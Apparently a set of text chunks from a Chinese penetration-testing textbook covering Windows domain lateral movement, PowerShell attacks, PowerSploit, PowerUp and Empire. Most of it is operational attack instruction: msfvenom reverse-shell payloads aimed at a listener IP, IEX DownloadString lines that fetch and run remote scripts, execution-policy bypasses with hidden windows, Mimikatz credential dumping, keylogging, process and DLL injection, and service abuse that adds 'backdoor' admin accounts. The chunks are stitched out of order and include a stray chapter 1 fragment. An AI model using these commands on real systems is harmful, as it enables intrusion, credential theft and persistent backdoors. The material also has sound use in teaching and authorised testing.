    {"text": "通过上面的分析，我们先选择最简单的方法，输入net view命令，在列举的机器名里选择一个和我们机器名相似的服务器来试试，不出意外的话，成功率很高，如图5-113所示。"},
    {"text": "假设现在有一台IPC$主机：127.0.0.25，输入以下命令。 D:>net use \\127.0.0.25\\ipc$ #连接127.0.0.25的IPC$共享 D:>copy srv.exe \\127.0.0.25\\ipc$ #复制srv.exe到目标主机 D:>net time \\127.0.0.25 #查时间 D:>at \\127.0.0.25 10:50 srv.exe #用at命令在10点50分启动srv.exe（注意这里设置的时间要比主机时间快） 上述命令中的at就是让计算机在指定的时间做指定事情的命令（例如运行程序）。"},
    {"text": "这里把免杀的Payload上传到PAVMSEP131服务器，然后利用at命令启动Payload，反弹回Meterpreter Shell，具体操作如图5-114～图5-116所示。 图5-114 将木马复制到目标服务器 图5-115 查看系统时间 图5-116 使用at命令启动木马 接着返回handler监听，可以看到反弹成功了，我们获得了PAVMSEP131服务器的Meterpreter Shell，如图5-117所示。"},
    {"text": "图5-118 查看系统信息 可以看到没有SYSTEM权限，说明既可以使用Mimikatz等工具，也可以输入run post/windows/gather/hashdump来抓Hash。 我们在用Mimikatz抓Hash之前要注意一点：如果服务器安装的是64位操作系统，要把Mimikatz进程迁移到一个64位的程序进程中，才能查看64位系统的密码明文，在32位系统中就没有这个限制。 这里使用Mimikatz抓Hash，具体操作如图5-119和图5-120所示。 图5-119 上传MIMIKATZ 图5-120 抓取Hash 接着查看抓到的域用户的权限，如图5-121所示。"},
    {"text": "图5-121 查看域用户的权限 5.9.5 PowerShell寻找域管在线服务器 Windows PowerShell是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用.NET Framework的强大功能。"},
    {"text": "这里先使Power View脚本来获取当域管理员在线登录的服务器，我们将Power View脚本的Invoke-User Hunter模块上传到主机名为PAVMSEP131,IP为10.51.0.131的服务器中，然后输入Invoke-UserHunter，如图5-122所示。"},
    {"text": "powershell.exe-exec bypass-Command \"&{Import-Module.\\powerview.ps1;Invoke-UserHunter}\"` 图5-122 获取当前域管理员在线登录的服务器 可以看到域管理员当前在线登录的机器主机名为PAVMSXD30,IP为10.51.0.30，此时需要入侵此服务器，然后将其迁移到域管理登录所在的进程，这样便拥有了域管理的权限。 5.9.6 获取域管权限 现在笔者成功地获取主机名为PAVMSXD30,IP为10.51.0.30的服务器权限，接下来就可以渗透域控了。 首先输入getsystem命令提升权限，如图5-123和图5-124所示。 图5-123 输入getsystem命令进行提权 图5-124 查看当前用户 可以看到笔者现在的UID是sonicwall，从前面获取的域管理员账号信息中已知sonicwall是域管理员。 然后输入ps命令找到域管理所在的进程，把Meterpreter Shell进程迁移到此进程中，成功后就获得了域管理权限，如图5-125所示。 图5-125 迁移进程 这里除了迁移进程，也可以使用Metasploit中的窃取令牌功能，同样能获得获得域管理权限。 接着查看主域控IP，这里使用net time命令，一般来说时间服务器都是域服务器，如图5-126所示。 图5-126 查看主域控IP 可以看到域服务器的主机名为PAVMSAD64,IP地址为10.51.0.63。"},
    {"text": "因为现在已经在域管理员权限下面了，所以要给域控添加一个管理员账户，如图5-129所示。 图5-129 添加域管理员账户 利用如下命令确认账户是否添加成功，如图5-130所示。 图5-130 查看域管理员组 可以看到笔者已经成功添加了管理员账户。 5.9.7 登录域控制 现在域控的权限也终于到手了。 接下来就要登录域控，然后抓域控的Hash。 常见的登录域控的方式有以下这几种。"},
    {"text": "● 登录对方内网的一台计算机使用PsTools工具包中的PsExec来反弹Shell。 ● 使用Metasploit下的PsExec、psexec_psh、Impacket psexec、pth-winexe、Empire Invoke-Psexec等PsExec类工具反弹Shell。"},
    {"text": "图5-131 使用PsExec模块反弹Meterpreter 可以看到已经反弹成功了，然后先迁移进程，查看域控的系统信息和sessions控制图，如图5-132和图5-133所示。"},
    {"text": "图5-135 设置smb_login模块 图5-136 开始扫描内网 图5-137 整理扫描结构 可以看出，我们获取了大量内网服务器的密码，下面就可以畅游内网了。"},
    {"text": "可以使用Meterpreter的端口转发，也可以使用Metasploit下的Socks4a模块或者第三方软件。 这里简单地使用Meterpreter的端口转发即可，如图5-138所示。"},
    {"text": "未知 6.1 PowerShell技术 在渗透测试中，PowerShell是不能忽略的一个环节，而且仍在不断地更新和发展，它具有令人难以置信的灵活性和功能化管理Windows系统的能力。"},
    {"text": "一旦攻击者可以在一台计算机上运行代码，就会下载PowerShell脚本文件（.ps1）到磁盘中执行，甚至无须写到磁盘中执行，它可以直接在内存中运行。"},
    {"text": "这些特点使得PowerShell在获得和保持对系统的访问权限时，成为攻击者首选的攻击手段，利用PowerShell的诸多特点，攻击者可以持续攻击而不被轻易发现。 常用的PowerShell攻击工具有以下这几种。 ● PowerSplit：这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架，常用于信息探测、特权提升、凭证窃取、持久化等操作。 ● Nishang：基于PowerShell的渗透测试专用工具，集成了框架、脚本和各种Payload，包含下载和执行、键盘记录、DNS、延时命令等脚本。 ● Empire：基于PowerShell的远程控制木马，可以从凭证数据库中导出和跟踪凭证信息，常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。 ● PowerCat:PowerShell版的NetCat，有着网络工具中的“瑞士军刀”美誉，它能通过TCP和UDP在网络中读写数据。"},
    {"text": "6.1.1 PowerShell简介 Windows PowerShell是一种命令行外壳程序和脚本环境，它内置在每个受支持的Windows版本中（Windows 7/Windows 2008 R2和更高版本），使命令行用户和脚本编写者可以利用.NET Framework的强大功能。 一旦攻击者可以在一台计算机上运行代码，他们就会下载PowerShell脚本文件（.ps1）到磁盘中执行，甚至无须写到磁盘中执行，它可以直接在内存中运行，也可以把PowerShell看作命令行提示符cmd.exe的扩充。 PowerShell需要.NET环境的支持，同时支持.NET对象，其可读性、易用性，可以位居当前所有Shell之首。"},
    {"text": "各个Windows系统下的PowerShell版本，如图6-1所示。 图6-1 各个操作系统对应的PowerShell版本 可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看PowerShell版本，如图6-2所示。 图6-2 查看PowerShell版本 6.1.2 PowerShell的基本概念 1.PS1文件 一个PowerShell脚本其实就是一个简单的文本文件，这个文件包含了一系列PowerShell命令，每个命令显示为独立的一行，对于被视为PowerShell脚本的文本文件，它的文件名需要加上.PS1的扩展名。"},
    {"text": "2.执行策略 为防止恶意脚本的执行，PowerShell有一个执行策略，默认情况下，这个执行策略被设为受限。 在PowerShell脚本无法执行时，可以使用下面的cmdlet命令确定当前的执行策略。"},
    {"text": "● Restricted：脚本不能运行（默认设置）。 ● RemoteSigned：本地创建的脚本可以运行，但从网上下载的脚本不能运行（拥有数字证书签名的除外）。 ● AllSigned：仅当脚本由受信任的发布者签名时才能运行。 ● Unrestricted：允许所有的script运行。"},
    {"text": "Set-ExecutionPolicy <policy name> 3.运行脚本 运行一个PowerShell脚本，必须键入完整的路径和文件名，例如，你要运行一个名为a.ps1的脚本，可以键入C:\\Scripts\\a.ps1。 最大的例外是，如果PowerShell脚本文件刚好位于你的系统目录中，那么在命令提示符后直接键入脚本文件名即可运行，如.\\a.ps1的前面就加上了“.\\”，这和在Linux下执行Shell脚本的方法一样。"},
    {"text": "PS> get-process p* |stop-process 6.1.3 PowerShell的常用命令 1.基本知识 在PowerShell下，类似“cmd命令”叫作“cmdlet”，其命名规范相当一致，都采用“动词-名词”的形式，如New-ltem，动词部分一般为Add、New、Get、Remove、Set等，命名的别名一般兼容Windows Command和Linux Shell，如Get-Childltem命令使用dir或ls均可，而且PowerShell命令不区分大小写。 下面以文件操作为例讲解PowerShell命令的基本用法。"},
    {"text": "图6-3 查看PowerShell的帮助 如果要运行PowerShell脚本程序，必须用管理员权限将Restricted策略改成Unrestricted，所以在渗透时，就需要采用一些方法绕过策略来执行脚本，比如下面这三种。"},
    {"text": "● 绕过本地权限执行（如图6-4所示） 上传xxx.ps1至目标服务器，在CMD环境下，在目标服务器本地执行该脚本，如下所示。 PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1 ● 本地隐藏绕过权限执行脚本 PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-Nonlnteractive-NoProfile-File xxx.ps1 ● 用IEX下载远程PS1脚本绕过权限执行 PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile–NonI IEX（New-ObjectNet.WebClient）.DownloadString（“xxx.ps1”）;[Parameters] 下面对上述命令的参数进行说明，如下所示。"},
    {"text": "未知 第1章 渗透测试之信息收集 进行渗透测试之前，最重要的一步就是信息收集，在这个阶段，我们要尽可能地收集目标组织的信息。所谓“知己知彼，百战不殆”，我们越是了解测试目标，测试的工作就越容易。在信息收集中，最主要的就是收集服务器的配置信息和网站的敏感信息，其中包括域名及子域名信息﹑目标网站系统﹑CMS指纹﹑目标网站真实IP﹑开放的端口等。换句话说，只要是与目标网站相关的信息，我们都应该去尽量搜集。"},
    {"text": "未知 6.2 PowerSploit PowerSploit是一款基于PowerShell的后渗透（Post-Exploitation）框架软件，包含很多PowerShell攻击脚本，它们主要用于渗透中的信息侦察、权限提升、权限维持，其GitHub地址为https://github.com/PowerShellMafia/PowerSploit。 6.2.1 PowerSploit的安装 这里通过Kali下载PowerSploit，首先输入git命令下载程序目录，如图6-5所示。 图6-5 下载PowerSploit 接着输入以下命令开启Apache服务，如图6-6所示。 图6-6 开启Apache服务 把下载好的文件夹移动到var/www/html目录，搭建一个简易的服务器，在网页中打开http://192.168.31.247/PowerSploit/，如图6-7所示。 图6-7 打开搭建的服务器 下面根据图6-7介绍PowerSploit各模块的功能，如下所示。"},
    {"text": "6.2.2 PowerSploit脚本攻击实战 PowerSploit下的各类攻击脚本相当得多，基于篇幅问题，不可能对每一个脚本都进行详细的介绍，所以本小节只介绍一些在实战中用的比较多的脚本，读者也可以尝试其他脚本。"},
    {"text": "6.2.2.1 Invoke-Shellcode CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程ID或本地PowerShell中，下面介绍两种常用的反弹Meterpreter Shell方法。 1.直接执行ShellCode反弹Meterpreter Shell 首先在MSF里使用reverse_https模块进行反弹，设置的内容如图6-8所示。"},
    {"text": "图6-8 设置监听 使用msfvenom命令生成一个PowerShell脚本木马，如图6-9所示。 msfvenom-p windows/meterpreter/reverse_https LHOST=192.168.31.247 LPORT=4444-f powershell-o /var/www/html/test 图6-9 生成PowerShell脚本木马 接着在目标机PowerShell下输入以下命令下载该脚本，如图6-10所示。 IEX（New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/PowerSploit/CodeExecution/In voke-Shellcode.ps1\"） 图6-10 下载Invoke-Shellcode 接着输入以下命令下载木马，如图6-11所示。 IEX （New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/test\"） 图6-11 下载木马 接着在PowerShell下运行以下命令，如图6-12所示。 Invoke-Shellcode-Shellcode （$buf）-Force 图6-12 运行木马 图6-12中“-Force”的意思是不用提示，直接执行。"},
    {"text": "IEX（New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/PowerSploit/CodeExecution/In voke-Shellcode.ps1\"） IEX （New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/test\"） 图6-14 下载PowerShell脚本 接着输入Get-Process命令或者ps命令查看当前进程，如图6-15所示。"},
    {"text": "图6-15 查看系统进程 然后输入以下命令创建一个新的进程，这里启动一个记事本，并把它设置为隐藏的，再输入Get-Process命令查看进程，可以看到多了一个ID为5032，名为notepad的进程，如图6-16所示。 Start-Processc:\\windows\\system32\\notepad.exe-WindowStyle Hidden 图6-16 生成新进程 接着输入以下命令，使用Invoke-Shellcode脚本进行进程注入，如图6-17所示。"},
    {"text": "Invoke-Shellcode-ProcessID 5032-Shellcode（$buf）–Force 图6-17 进程注入 回到MSF监听界面下发现已经反弹成功了，如图6-18所示。 图6-18 反弹成功 6.2.2.2 Invoke-DllInjection 下面使用Code Execution模块下的另一个脚本Invoke-DLLInjection，它是一个DLL注入的脚本。"},
    {"text": "IEX （New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/PowerSploit/CodeExecution/Invoke-DllInjection.ps1\"） 图6-19 下载Invoke-DllInjection 然后使用以下命令在Kali中生成一个DLL注入脚本，如图6-20所示。"},
    {"text": "msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.31.247 lport=4444-f dll-o /var/www/html/test.dll 图6-20 生成DLL注入脚本 把生成的test.dll上传到目标服务器的C盘后，就能启动一个新的进程进行DLL注入，这样可以使注入更加隐蔽，使用以下命令新建一个名为notepad.exe的隐藏进程。 Start-Processc:\\windows\\system32\\notepad.exe-WindowStyle Hidden 然后使用以下命令进行注入，如图6-21所示。 Invoke-DllInjection-ProcessID 2000-Dll c:\\test.dll 图6-21 DLL脚本注入进程 现在返回MSF监听界面，再使用reverse_tcp模块进行反弹，发现已经反弹成功了，如图6-22所示。"},
    {"text": "IEX （New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/PowerSploit/Recon/Invoke-Portscan.ps1\"） 图6-23 下载Invoke-Portscan 然后使用以下命令进行扫描，结果如图6-24所示。 Invoke-Portscan-Hosts 192.168.31.1,192.168.31.247-Ports \"80,22,3389\" 图6-24 进行扫描 6.2.2.4 Invoke-Mimikatz Invoke-Mimikatz是Exfiltration模块下的一个脚本，它的功能不用说大家肯定也都知道了。"},
    {"text": "IEX （New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1\"） 图6-25 下载Invoke-Mimikatz 然后执行以下命令即可，结果如图6-26所示。"},
    {"text": "Invoke-Mimikatz –DumpCreds 图6-26 抓取Hsah 这里要注意一点，和使用Mimikatz工具一样，内置的Mimikatz在使用时同样需要管理员权限。"},
    {"text": "6.2.2.5 Get-Keystrokes Get-Keystrokes是Exfiltration模块下的一个脚本，用于键盘记录，功能相当强大，不仅有键盘输入记录，甚至能记录鼠标的点击情况，还能记录详细的时间，实战时可以直接放入后台运行。"},
    {"text": "IEX （New-Object Net.WebClient）.DownloadString（\"http://192.168.31.247/PowerSploit/Exfiltration/Get-Keystrokes.ps1\"） 图6-27 下载Get-Keystrokes 使用以下命令开启键盘记录，这里输入“fwyily”这几个字母简单测试一下，如图6-28所示。 Get-Keystrokes-LogPath c:\\test1.txt 图6-28 抓取键盘记录 6.2.3 PowerUp攻击模块讲解 PowerUp是Privesc模块下的一个脚本，功能相当强大，拥有众多用来寻找目标主机Windows服务漏洞进行提权的实用脚本。"},
    {"text": "通常，在Windows下可以通过内核漏洞来提升权限，但是，我们常常会碰到无法通过内核漏洞提权所处服务器的情况，这个时候就需要利用脆弱的Windows服务提权，或者利用常见的系统服务，通过其继承的系统权限来完成提权等，此框架可以在内核提权行不通的时候，帮助我们寻找服务器的脆弱点，进而通过脆弱点实现提权的目的。"},
    {"text": "首先来查看PowerUp下都有哪些模块，如图6-29所示。 图6-29 PowerUp模块 由于这里是在本机操作的，可以直接输入Import-Module命令加载PowerUp脚本模块，如图6-30所示。 图6-30 加载脚本模块 输入命令时可以通过Tab键来自动补全，如果要查看各个模块的详细说明，可以输入get-help[cmdlet]-full命令查看，比如get-Help Invoke-AllChecks-full，如图6-31所示。 图6-31 查看模块的详细说明 下面对PowerUp常用的模块进行介绍。 1.Invoke-AllChecks 该模块会自动执行PowerUp下所有的脚本来检查目标主机，输出以下命令即可执行该模块，如图6-32所示。 PS C:\\> Invoke-AllChecks 图6-32 检测系统漏洞 2.Find-PathDLLHijack 该模块用于检查当前%PATH%的哪些目录是用户可以写入的，输入以下命令即可执行该模块，如图6-33所示。 PS C:\\>Find-Pathdllhijack 图6-33 检查系统的可写目录 3.Get-ApplicationHost 该模块可利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码，执行该模块的命令如下所示。 PS C:\\>get-ApplicationHost PS C:\\>get-ApplicationHost |Format-Table-Autosize # 列表显示 4.Get-RegistryAlwaysInstallElevated 该模块用于检查AlwaysInstallElevated注册表项是否被设置，如果已被设置，意味着MSI文件是以SYSTEM权限运行的，执行该模块的命令如下所示。 PS C:\\>Get-RegistryAlwaysInstallElevated 5.Get-RegistryAutoLogon 该模块用于检测Winlogin注册表的AutoAdminLogon项有没有被设置，可查询默认的用户名和密码，执行该模块的命令如下所示。 PS C:\\> Get-RegistryAutoLogon 6.Get-ServiceDetail 该模块用于返回某服务的信息，输入以下命令即可执行该模块，如图6-34所示。 PS C:\\> Get-ServiceDetail-ServiceName Dhcp #获取DHCP服务的详细信息 图6-34 获取DHCP服务的详细信息 7.Get-ServiceFilePermission 该模块用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件，我们可通过这些文件实现提权，输入以下命令即可执行该模块，如图6-35所示。 PS C:\\> Get-ServiceFilePermission 图6-35 检查可写入的权限 8.Test-ServiceDaclPermission 该模块用于检查所有可用的服务，并尝试对这些打开的服务进行修改，如果可修改，则返回该服务对象，执行该模块的命令如下所示。 PS C:\\>Test-ServiceDaclPermission 9.Get-ServiceUnquoted 该模块用于检查服务路径，返回包含空格但是不带引号的服务路径。"},
    {"text": "此处利用了Windows的一个逻辑漏洞，即当文件包含空格时，Windows API会被解释为两个路径，并将这两个文件同时执行，有时可能会造成权限的提升，比如C:\\program files\\hello.exe会被解释为C:\\program.exe和C:\\program files\\hello.exe。"},
    {"text": "PS C:\\>Get-ServiceUnquoted 图6-36 检查空格路径的漏洞 10.Get-UnattendedInstallFile 该模块用于检查以下路径，查找是否存在这些文件，因为这些文件里可能含有部署凭据。"},
    {"text": "这些文件包括： ● C:\\sysprep\\sysprep.xml ● C:\\sysprep\\sysprep.inf ● C:\\sysprep.inf ● C:\\Windows\\Panther\\Unattended.xml ● C:\\Windows\\Panther\\Unattend\\Unattended.xml ● C:\\Windows\\Panther\\Unattend.xml ● C:\\Windows\\Panther\\Unattend\\Unattend.xml ● C:\\Windows\\System32\\Sysprep\\unattend.xml ● C:\\Windows\\System32\\Sysprep\\Panther\\unattend.xml 执行该模块的命令如下所示。"},
    {"text": "PS C:\\> Get-UnattendedInstallFile 11.Get-ModifiableRegistryAutoRun 该模块用于检查开机自启的应用程序路径和注册表键值，然后返回当前用户可修改的程序路径。"},
    {"text": "被检查的注册表键值有以下这些： ● HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ● HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce ● HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run ● HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run Once ● HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunService ● HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceService ● HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run Service ● HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run OnceService 输入以下命令即可执行模块，如图6-37所示。 PS C:\\>Get-ModifiableRegistryAutoRun 图6-37 检查应用程序的路径和注册表键值 12.Get-ModifiableScheduledTaskFile 该模块用于返回当前用户能够修改的计划任务程序的名称和路径，输入以下命令即可执行该模块，如图6-38所示。 PS C:\\>Get-ModifiableScheduledTaskFile 图6-38 检查计划任务程序 13.Get-Webconfig 该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文，输入以下命令即可执行该模块，如图6-39所示。 PS C:\\>get-webconfig 图6-39 检查web.config中的数据库 14.Invoke-ServiceAbuse 该模块通过修改服务来添加用户到指定组，并可以通过设置-cmd参数触发添加用户的自定义命令，执行该模块的命令如下所示。 PS C:\\> Invoke-ServiceAbuse-ServiceName VulnSVC # 添加默认账号 PS C:\\> Invoke-ServiceAbuse-ServiceName VulnSVC-UserName \"TESTLAB\\john\" # 指定添加的域账号 PS C:\\>Invoke-ServiceAbuse-ServiceName VulnSVC-UserName backdoor-Password password-LocalGroup \"Administrators\" # 指定添加用户，用户密码以及添加的用户组。 PS C:\\> Invoke-ServiceAbuse-ServiceName VulnSVC-Command \"net...\"# 自定义执行命令 15.Restore-ServiceBinary 该模块用于恢复服务的可执行文件到原始目录，执行该模块的命令如下所示。 PS C:\\> Restore-ServiceBinary-ServiceName VulnSVC 16.Test-ServiceDaclPermission 该模块用于检查某个用户是否在服务中有自由访问控制的权限，结果会返回true或false，执行该模块的命令如下所示。 PS C:\\> Restore-ServiceBinary-ServiceName VulnSVC 17.Write-HijackDll 该模块用于输出一个自定义命令并且能够自我删除的bat文件到$env:Temp\\debug.bat，并输出一个能够启动这个bat文件的DLL。 18.Write-UserAddMSI 该模块用于生成一个安装文件，运行这个安装文件后会弹出添加用户的对话框，输入以下命令即可执行该模块，如图6-40所示。 PS C:\\> Write-UserAddMSI 图6-40 生成MSI文件 19.Write-ServiceBinary 该模块用于预编译C#服务的可执行文件，默认创建一个管理员账号，可通过Command定制自己的命令，执行该模块的命令如下所示。 PSC:\\>Write-ServiceBinary-ServiceName VulnSVC # 添加默认账号 PSC:\\>Write-ServiceBinary-ServiceName VulnSVC-UserName \"TESTLAB\\john\" # 指定添加域账号 PS C:\\>Write-ServiceBinary-ServiceName VulnSVC-UserName backdoor-Password Password123! # 指定添加用户，用户密码以及添加的用户组 PS C:\\> Write-ServiceBinary-ServiceName VulnSVC-Command \"net...\" # 自定义执行命令 20.Install-ServiceBinary 该模块通过Write-ServiceBinary写一个C#的服务用来添加用户，执行该模块的命令如下所示。 PS C:\\> Install-ServiceBinary-ServiceName DHCP PS C:\\> Install-ServiceBinary-ServiceName VulnSVC-UserName \"TESTLAB\\john\" PS C:\\>Install-ServiceBinary-ServiceName VulnSVC-UserName backdoor-Password Password123！ PS C:\\> Install-ServiceBinary-ServiceName VulnSVC-Command \"net...\" Write-ServiceBinary与Install-ServiceBinary的不同是，前者生成可执行文件，后者直接安装服务。"},
    {"text": "PowerShell.exe-exec bypass \"IEX （New-Object Net.WebClient）.DownloadString （'C:\\PowerUp.ps1'）; Invoke-AllChecks\" 图6-42 执行Invoke-AllChecks检查 也可以在CMD环境下使用以下命令绕过执行该脚本，如图6-43所示。 powershell.exe-exec bypass-Command \"& {Import-Module.\\PowerUp.ps1; InvokeAllChecks}\" 图6-43 通过 可以看到，PowerUp列出了所有可能存在问题的服务，并在AbuseFunction中直接给出了利用方式。"},
    {"text": "这里可分为两个部分，第一部分通过Get-ServiceUnquoted模块（利用Windows的一个逻辑漏洞，即当文件包含空格时，Windows API会解释为两个路径，并将这两个文件同时执行，有些时候可能会造成权限的提升）检测出“OmniServ”“OmniServer”“OmniServers”“Vulnerable Service”四个服务存在此逻辑漏洞，但都没有写入权限，所以并不能被利用于提权。 第二部分通过Test-ServiceDaclPermission模块（检查所有可用的服务，并尝试对这些打开的服务进行修改，如果可修改，则存在此漏洞）检测出当前用户可以在“OmniServers”服务的目录写入相关联的可执行文件，并且通过这些文件进行提权。"},
    {"text": "所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限，那么就可以将其替换成我们的恶意可执行文件，从而随着系统启动服务获得系统权限。"},
    {"text": "这里可以使用Icacls（Windows内建的一个工具，用于检查对有漏洞的目录是否有写入的权限）验证PowerUp脚本检测是否正确，先来测试“C:\\Program Files\\Executable.exe”“C:\\Program Files\\Common Files\\microsoft shared\\OmniServ.exe”“C:\\Program Files\\Common Files\\A Subfolder\\OmniServer.exe”这三个文件夹，均提示权限不够，如图6-44所示。 图6-44 检测可写入权限（1） 再测试“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe”文件，如图6-45所示。"},
    {"text": "下面对图6-45的参数进行说明，“M”代表修改，“F”代表完全控制，“CI”代表从属容器将继承访问控制项，“OI”代表从属文件将继承访问控制项。"},
    {"text": "powershell-nop-exec bypass IEX （New-Object Net.WebClient）.DownloadString （'c:/PowerUp.ps1'）;Install-ServiceBinary-ServiceName'OmniServers'-UserName shuteer-Password Password123！"},
    {"text": "图6-47 停止服务 从图6-47中可以看到，提示拒绝访问，那是因为当前的权限是一个受限的User权限，所以只能等待管理员运行该服务或者重启系统。"},
    {"text": "这里因为是虚拟机，所以直接输入以下命令强制重启，如图6-48所示。 图6-48 强制重启 现在切换到目标机界面，即可看到已经关机重启了，如图6-49所示。 图6-49 系统重启 重启以后，系统会自动创建一个新的用户shuteer，密码是Password123!，如图6-50所示。 图6-50 查看用户 接着查看该用户的权限，发现已经是系统管理员权限，如图6-51所示。 图6-51 查看管理员列表 提权成功以后，可以看到目标机C:\\Program Files\\Program Folder\\A Subfolder目录下多了一个文件，如图6-52所示。 图6-52 查看A Subfolder目录 提权成功后需要清除入侵的痕迹，可以使用以下命令。"},
    {"text": "powershell-nop-exec bypass IEX （New-Object Net.WebClient）.DownloadString （'c:/PowerUp.ps1'）;Restore-ServiceBinary –ServiceName'OmniServers' 执行命令后可以把所有的状态恢复到最初的状态，如下所示。"},
    {"text": "● 恢复“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe.bak”为“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe”。 ● 移除备份二进制文件“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe.bak”。"},
    {"text": "读者可以使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检查注册表项是否被设置，如果AlwaysInstallElevated注册表项被设置，意味着MSI文件是以SYSTEM权限运行的。"},
    {"text": "powershell-nop-exec bypass IEX （New-Object Net.WebClient）.DownloadString （'c:/PowerUp.ps1'）; Get-RegistryAlwaysInstallElevated 图6-53 检查注册表的设置 接着添加用户，运行Write-UserAddMSI模块，运行后会生成文件UserAdd.msi，如图6-54所示。 图6-54 产生MSI文件 这时以普通用户权限运行这个UserAdd.msi，就会成功添加账户，如图6-55所示。 图6-55 查看用户 然后再查看管理员组的成员，可以看到我们已经成功在普通权限的CMD下添加了一个管理员账户，如图6-56所示。"},
    {"text": "图6-56 查看管理员列表 该漏洞产生的原因是用户开启了Windows Installer特权安装功能，下面列出设置的步骤，如图6-57所示。 图6-57 开启Windows Installer特权安装功能 首先打开本地组策略编辑器（在运行框中输入gpedit.msc）执行以下操作。 A.组策略→计算机配置→管理模板→Windows组件→Windows Installer→永远以高特权进行安装：已启用 B.组策略→用户配置→管理模板→Windows组件→Windows Installer→永远以高特权进行安装：已启用 设置完毕之后，这两个注册表的以下位置会自动创建键值为“1”的数值。 ●[HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installe r]“AlwaysInstallElevated”=dword:00000001 ●[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Instal ler]“AlwaysInstallElevated”=dword:00000001 防御方法： 可以对照攻击方法进行防御，只要关闭AlwaysInstallElevated即可阻止他人利用MSI文件进行提权。"},
    {"text": "未知 6.3 Empire 6.3.1 Empire简介 Empire是一款针对Windows平台的、使用PowerShell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。 Empire实现了无需powershell.exe就可运行PowerShell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，并且能够躲避网络检测和大部分安全防护工具的查杀，简单来说有点类似于Metasploit，是一个基于PowerShell的远程控制木马。"},
    {"text": "6.3.2 Empire的安装 Empire运行在Linux平台上，这里使用的系统是Debian，首先使用git命令下载程序目录，如图6-58所示。 git clone https://github.com/EmpireProject/Empire.git 图6-58 下载Empire 接着进入setup目录，使用以下命令安装Empire，如图6-59所示。 cd Empire cd setup sudo./install.sh 图6-59 安装Empire 安装结束后，在Empire目录下输入./empire即可打开Empire，这里的版本是2.3，可以看到有280个模块，0个监听，0个代理，如图6-60所示。 图6-60 打开Empire 6.3.3 设置监听 运行Empire后，输入help命令查看具体的使用帮助，如图6-61所示。 图6-61 查看帮助 很多人在第一次使用Empire时常常不知道从何下手，其实Empire和Metasploit的使用原理是一样的，都是先设置一个监听，接着生成一个木马，然后在目标主机中运行该木马，我们的监听就会连接上反弹回来的代理。 这里首先要建立一个监听，和Metasploit创建监听载荷一个道理，输入Listeners命令进入监听线程界面，可以输入help命令查看帮助文件，如图6-62所示。 图6-62 查看Listeners帮助 接着输入uselistener来设置采用何种模式，通过双击Tab键可以看到一共有7种模式，dbx、http、http_com、http_foreign、http_hop、http_mapi和我们熟悉的meterpreter，如图6-63所示。 图6-63 查看uselistener模式 这里采用http监听模式，输入uselistener http，然后输入info命令查看具体参数设置，如图6-64所示。 图6-64 使用http模式 这里可以使用set命令设置相应参数，需要使用以下命令设置Name、Host和Port。 Set Name shuteer Set Host XXX.XXX.XXX.XXX:XXXX（Empir所在服务器IP） 这里Host默认的是我们VPN的IP，所以就不做修改了，修改完成后可以再次输入info，查看设置是否正确，然后输入execute命令即可开始监听，如图6-65所示。 图6-65 开始监听 输入back命令即可返回上一层listeners界面，输入list命令可以列出当前激活的listener，如图6-66所示。"},
    {"text": "图6-66 列出当前的监听 使用kill命令就能删除该监听，如图6-67所示。 图6-67 删除监听 这里要注意一点，当开启多个监听时，必须使用不同的名称，并且使用不同的端口，如果想要设置的端口已经被使用，那么在设置时会有提示信息。"},
    {"text": "可以把这个理解成Metasploit里面的Payload、Empire里拥有多个模块化的stager，接着输入usestager来设置采用何种模块，同样，通过双击Tab键，可以看到一共有26个模块，如图6-68所示。"},
    {"text": "图6-68 列出木马模块 其中multi为通用模块，osx是Mac操作系统的模块，剩下的就是Windows的模块，下面我们挑选其中几种常用类型的木马来具体讲解。"},
